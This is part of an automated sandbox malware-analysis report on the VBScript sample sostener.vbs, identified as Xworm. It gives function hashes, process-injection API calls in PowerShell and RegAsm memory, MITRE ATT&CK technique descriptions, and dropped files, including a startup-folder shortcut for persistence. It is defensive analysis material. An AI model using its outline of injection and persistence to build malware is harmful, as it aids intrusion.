Function 00007FF848E86238 Relevance: 1.7, APIs: 1, Instructions: 210
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000E.00000002.2600619312.00007FF848E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff848e80000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ffd3edfe19af0c2093093d64a5c09b7d89c385b596fef52ec31e7f7ebd5d03c
Instruction ID: e849a1ac65281f6328aaad454553b33b8081f04362dab8089bd89727293fbe38
Opcode Fuzzy Hash: 6ffd3edfe19af0c2093093d64a5c09b7d89c385b596fef52ec31e7f7ebd5d03c
Instruction Fuzzy Hash: B151F470908A5C8FDB98EF58D885BE9BBF1FB69301F1041AED04DE3251DB74A985CB44

Function 00007FF848E89829 Relevance: 1.7, APIs: 1, Instructions: 189
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32 ref: 00007FF848E8996E

Memory Dump Source

Source File: 0000000E.00000002.2600619312.00007FF848E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff848e80000_powershell.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: d9b9d3e9ae0ab03843514770b16ab5f63c657146bb9ef5ecb5fad3f96e0a4edd
Instruction ID: 19cce001747bc288dfc28421034a3bd0c5d8ea3f4063111ebf42736d8a4e84a0
Opcode Fuzzy Hash: d9b9d3e9ae0ab03843514770b16ab5f63c657146bb9ef5ecb5fad3f96e0a4edd
Instruction Fuzzy Hash: 4C517D70D08A4D8FDB59EFA8C884BE9BBF1FB95311F1482AAD048D7255D7749885CF40

Function 00007FF848E895A9 Relevance: 1.7, APIs: 1, Instructions: 185
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNEL32 ref: 00007FF848E8969A

Memory Dump Source

Source File: 0000000E.00000002.2600619312.00007FF848E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff848e80000_powershell.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 8645749a93392b54e413d53306456e2e7db7e4774a473d3a33dd2b422f595b21
Instruction ID: a3604c198e18fd7d2590633ad1a4520fef8951504a54b5fdc83b873725b7c1aa
Opcode Fuzzy Hash: 8645749a93392b54e413d53306456e2e7db7e4774a473d3a33dd2b422f595b21
Instruction Fuzzy Hash: 9551F730908A1D8FDBA8EF18D895BE9B7F1FB59310F5041AAD40DE3291DB35AA81CF45

Function 00007FF848E89F19 Relevance: 1.6, APIs: 1, Instructions: 139
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResumeThread.KERNEL32 ref: 00007FF848E89FE9

Memory Dump Source

Source File: 0000000E.00000002.2600619312.00007FF848E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff848e80000_powershell.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 6177f918c19fb5766bd22e73b822c75517f06bb8c8daa40aa17d7eb328987f86
Instruction ID: 103822c9164b3e45a87d8312f6c0a16d688758aa8cf5b664860b5bb96b5cf9dd
Opcode Fuzzy Hash: 6177f918c19fb5766bd22e73b822c75517f06bb8c8daa40aa17d7eb328987f86
Instruction Fuzzy Hash: A6416A70D0CA4C8FDB59DF98D885BADBBB0FF5A310F1041AED049E7252DA74A885CB41

Function 00007FF848F5052D Relevance: .5, Instructions: 545
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000E.00000002.2601897005.00007FF848F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff848f50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22ce1f0f70b34327a9555bf80e9892224968463debe9e6c662a11f446c5a73f1
Instruction ID: 09172f25e62c4ab15118356abdc70858f21e60a249805986f2519ec135d33bc5
Opcode Fuzzy Hash: 22ce1f0f70b34327a9555bf80e9892224968463debe9e6c662a11f446c5a73f1
Instruction Fuzzy Hash: E8F13331A0EBC54FE75ABB285855571BBE1EF96350F1801FFE448C71D3EA18A806C396

Function 00007FF848F514AE Relevance: .2, Instructions: 222
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000E.00000002.2601897005.00007FF848F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff848f50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d1fb5b8d906eb35c71cf16e973ed0cba60bff609ee1e9a2d71f88c1125524298
Instruction ID: bf9488bac79f7b40b1d853236dbb5839b3c3889bb6adb5acd66e2324f6aeca12
Opcode Fuzzy Hash: d1fb5b8d906eb35c71cf16e973ed0cba60bff609ee1e9a2d71f88c1125524298
Instruction Fuzzy Hash: 04611632E1EE864FF79AA72C14512B9E6D1EF456A8F5801BAD00EC71D3EF18BC448359

Function 00007FF848F50FFE Relevance: .2, Instructions: 195
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000E.00000002.2601897005.00007FF848F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff848f50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e63f4f3dc643ac245ffa85cb2c9bbf5a152489fa020a1cbbf8e058ef2963613d
Instruction ID: 2fa51fe1827e32f11c7408b4a93a24752711cf7c0d677efd9861d625ef5d18e1
Opcode Fuzzy Hash: e63f4f3dc643ac245ffa85cb2c9bbf5a152489fa020a1cbbf8e058ef2963613d
Instruction Fuzzy Hash: 5051F632E1EE864FF7A9A72C14516B9A6D1FF45794F5801BAC01EC71D3DE08BC448399

Function 00007FF848F51A28 Relevance: .2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2601897005.00007FF848F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff848f50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c730288c7c91bd0a24ab16720f83e77e91069375eeeb6cc02c71749d4c978a4
Instruction ID: 6956bb5ab1cc923cd6288d16ffffab7577cc2847e2bb913c608c932dbaa14920
Opcode Fuzzy Hash: 0c730288c7c91bd0a24ab16720f83e77e91069375eeeb6cc02c71749d4c978a4
Instruction Fuzzy Hash: 1F41F532D1EB8A0FE767673808281B5BBE5DF52798F0901BAD44CC71D3EA186C4A8359

Function 00007FF848F514FA Relevance: .1, Instructions: 140
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000E.00000002.2601897005.00007FF848F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff848f50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1be55629a068b64017624602cd3c4a8c68f55a5d031d86c1ff0784ba4b7d0f2d
Instruction ID: 8085a6154ec5eb0a506d923196eb6e98149cac560298fa113f4d9d27ad282481
Opcode Fuzzy Hash: 1be55629a068b64017624602cd3c4a8c68f55a5d031d86c1ff0784ba4b7d0f2d
Instruction Fuzzy Hash: DB41E632E1EE875FF39AB72C045527595D1EF512A8F9801BAD41EC31D3EF1CAC844209

Function 00007FF848F5104A Relevance: .1, Instructions: 115
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000E.00000002.2601897005.00007FF848F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff848f50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01f457d3602ea3ef58b4094738958aca710cdff3aa8a81117397699de045a8e3
Instruction ID: c3e0d783f8caa9e927c475e86f10bed669788a2bca89629f28f1af26b5b7cda8
Opcode Fuzzy Hash: 01f457d3602ea3ef58b4094738958aca710cdff3aa8a81117397699de045a8e3
Instruction Fuzzy Hash: B631CE32E1EE864FF7A9772C14652B8A5D1FF416A9F5801BAD419C31D3DE0CAC844319

Analysis Process: powershell.exePID: 7208, Parent PID: 7096COMMON

Executed Functions

Function 00007FF848F62A25 Relevance: .4, Instructions: 434COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2537266518.00007FF848F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff848f60000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8cef9888661b438cd32c2d8b77e667a187db20ba94b626a6740a885c70466958
Instruction ID: 690350359374311f5142cc0ea35cbc073198c5286017cd6d2cbfb5b381a52e1b
Opcode Fuzzy Hash: 8cef9888661b438cd32c2d8b77e667a187db20ba94b626a6740a885c70466958
Instruction Fuzzy Hash: 39D14831E0EACA5FE756AB6858545B57BE0FF06390F0802FAD44DDB1D3DB28A806C355

Function 00007FF848E933B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2535420658.00007FF848E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff848e90000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 582908582f657131c1f04ed76f34d09c60f6b2c2f8b724a61ceffa3ac25bcdd6
Instruction ID: 29c1cfa6bac51b81d075f13f06edf054ad2643bd55ff8ec3c5d015a1cc12a693
Opcode Fuzzy Hash: 582908582f657131c1f04ed76f34d09c60f6b2c2f8b724a61ceffa3ac25bcdd6
Instruction Fuzzy Hash: 6C01677115CB0D4FDB44EF0CE451AA6B7E0FB95364F10056DE58AC3661DB36E882CB45

Analysis Process: RegAsm.exePID: 7308, Parent PID: 7096COMMON

Executed Functions

Function 029A0901 Relevance: 1.3, Strings: 1, Instructions: 81COMMON

Download Yara Rule

Strings

Haq, xrefs: 029A095D

Memory Dump Source

Source File: 00000010.00000002.2386359502.00000000029A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_29a0000_RegAsm.jbxd

Similarity

API ID:
String ID: Haq
API String ID: 0-725504367
Opcode ID: 02f4e0a86d062dc70bc3d5900269e28f9bd3bb961dc7916561e4001a2aec99e3
Instruction ID: 400a141fca914e9ca5152742d73c53ed313d1f46ca4144200048ad722516d323
Opcode Fuzzy Hash: 02f4e0a86d062dc70bc3d5900269e28f9bd3bb961dc7916561e4001a2aec99e3
Instruction Fuzzy Hash: 8221E430E052098FDB04EFB8C4653AE7BB5FF84704F2444A9D44A9B285EB359E06CBC1

Function 029A0D20 Relevance: .2, Instructions: 203COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2386359502.00000000029A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_29a0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 849c33d4a069fa660d2b4dee21bb8436b7568ff38c9f9a36b51cd1ef91266a31
Instruction ID: c87a77b5caa08f1a33cd5edaab862e8869c161fd2d613c3a3f9d42a881c20f4b
Opcode Fuzzy Hash: 849c33d4a069fa660d2b4dee21bb8436b7568ff38c9f9a36b51cd1ef91266a31
Instruction Fuzzy Hash: 847193357002058FCB19EF78E568A6E7BE6FF88604B508928D04A9B7A9DF359C05CF81

Function 029A0D10 Relevance: .1, Instructions: 119COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2386359502.00000000029A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_29a0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 92b8771b722fa6801173c3abcb3468b8fab02812eec4ae6744ee68b58827a538
Instruction ID: a62d4eae6adb33e621f185a81f2a9746a6dd673cb333d3730374fce12f98911a
Opcode Fuzzy Hash: 92b8771b722fa6801173c3abcb3468b8fab02812eec4ae6744ee68b58827a538
Instruction Fuzzy Hash: ED4172356003058FCB19EF78E57856E7BE6FF84204340492CC44A8B658EF399C09CF85

Function 029A14B1 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2386359502.00000000029A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_29a0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3ca7fdffd7e30dfd1a7deb8fc869e0c3db2279993e504060665507bfb9b4821
Instruction ID: 6c90fd010c8ae3276809415c1c9201a669c0f392a1d4da85268f779030a22819
Opcode Fuzzy Hash: a3ca7fdffd7e30dfd1a7deb8fc869e0c3db2279993e504060665507bfb9b4821
Instruction Fuzzy Hash: 63218771B043155FDB04AFBE996436EBAEEEFC8610B10483DD48AD7395DD388C068BA5

Function 029A1391 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2386359502.00000000029A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_29a0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00a5067cde89954b6bffbf174dd0b8629e10e2e383d83d6ee32648fd2de8bb7a
Instruction ID: abd0fca9ee2928a8c0e6bf337b56fa9c64aa1c381cb9d2a0c14ec9a95cc1a07c
Opcode Fuzzy Hash: 00a5067cde89954b6bffbf174dd0b8629e10e2e383d83d6ee32648fd2de8bb7a
Instruction Fuzzy Hash: 5831B174D00309DFCB05EF78EA546AE7BB6FF84304F104A69D405AB258DB359A45CF91

Function 029A13A0 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2386359502.00000000029A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_29a0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70ce47a88c41af04c37ccaad023025c855a0c7d9117677baa20db65dc9974a7c
Instruction ID: e7fde75edba4756b8ef596335cf5e5c1ecba71483fe5311cb4eafe9bf7923d79
Opcode Fuzzy Hash: 70ce47a88c41af04c37ccaad023025c855a0c7d9117677baa20db65dc9974a7c
Instruction Fuzzy Hash: B8218D74D00209DFCB05EFB8EA54AAEBBBAFF84304F104929D405A7358DB35AA45CB91

Function 029A0E0A Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2386359502.00000000029A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_29a0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55d8c17cedc512b4b2ad95b59c8c289699cfb44074a29872b42e7486b867b299
Instruction ID: 480a94001385704d67c474920350cf9a2f55e2b60ddd52d8ce3b7cd3f8b7495f
Opcode Fuzzy Hash: 55d8c17cedc512b4b2ad95b59c8c289699cfb44074a29872b42e7486b867b299
Instruction Fuzzy Hash: D4216232700B414BCA6DAB79D46856E7AEABFC42143104D3DC09A8B694DF39DD0A8FC6

Function 029A0838 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2386359502.00000000029A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_29a0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 77707167c80b7371ea6cb3325cc171107f00ba0d71ddf93c7f860a3f7ea4c521
Instruction ID: 02787e51a9cd75fa8d331a67caf1ab701dbd377df9634ddce736ff52c8937f3d
Opcode Fuzzy Hash: 77707167c80b7371ea6cb3325cc171107f00ba0d71ddf93c7f860a3f7ea4c521
Instruction Fuzzy Hash: BA11F1341412199FCB06EF28FB80E5E77A9FF4430DB108A64D0088FA2DD775AA49CF81

Function 029A0848 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2386359502.00000000029A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_29a0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de26a21e77b8d57f7ff3d6b2a4237fd3aa62c31d047e4828daa24b1e3518bfc7
Instruction ID: c6e68a4f17f9f71f2d85f5efb0be23111e25b20dd1ee88c125826f31c8df1671
Opcode Fuzzy Hash: de26a21e77b8d57f7ff3d6b2a4237fd3aa62c31d047e4828daa24b1e3518bfc7
Instruction Fuzzy Hash: BA0199341402299FCB06EF18FB90D5E77A9FF443097119A6490088BA2DD775AA49DF81

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report sostener.vbs

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Xworm

Yara Signatures

Memory Dumps

Unpacked PEs

Other

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\RegAsm.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_a5zxrcmv.44j.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_abdusf4f.udj.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bn4bqwut.c5l.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dcvzgm3x.ugi.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fqshfa0f.l4l.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jonxo1zk.v41.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kmlv3wz5.2sc.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_moua3ibh.onf.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ozlioxpl.2gx.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rzmmshbr.mbw.psm1

Windows Analysis Report
sostener.vbs

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\_win______________________________________-------.lnk

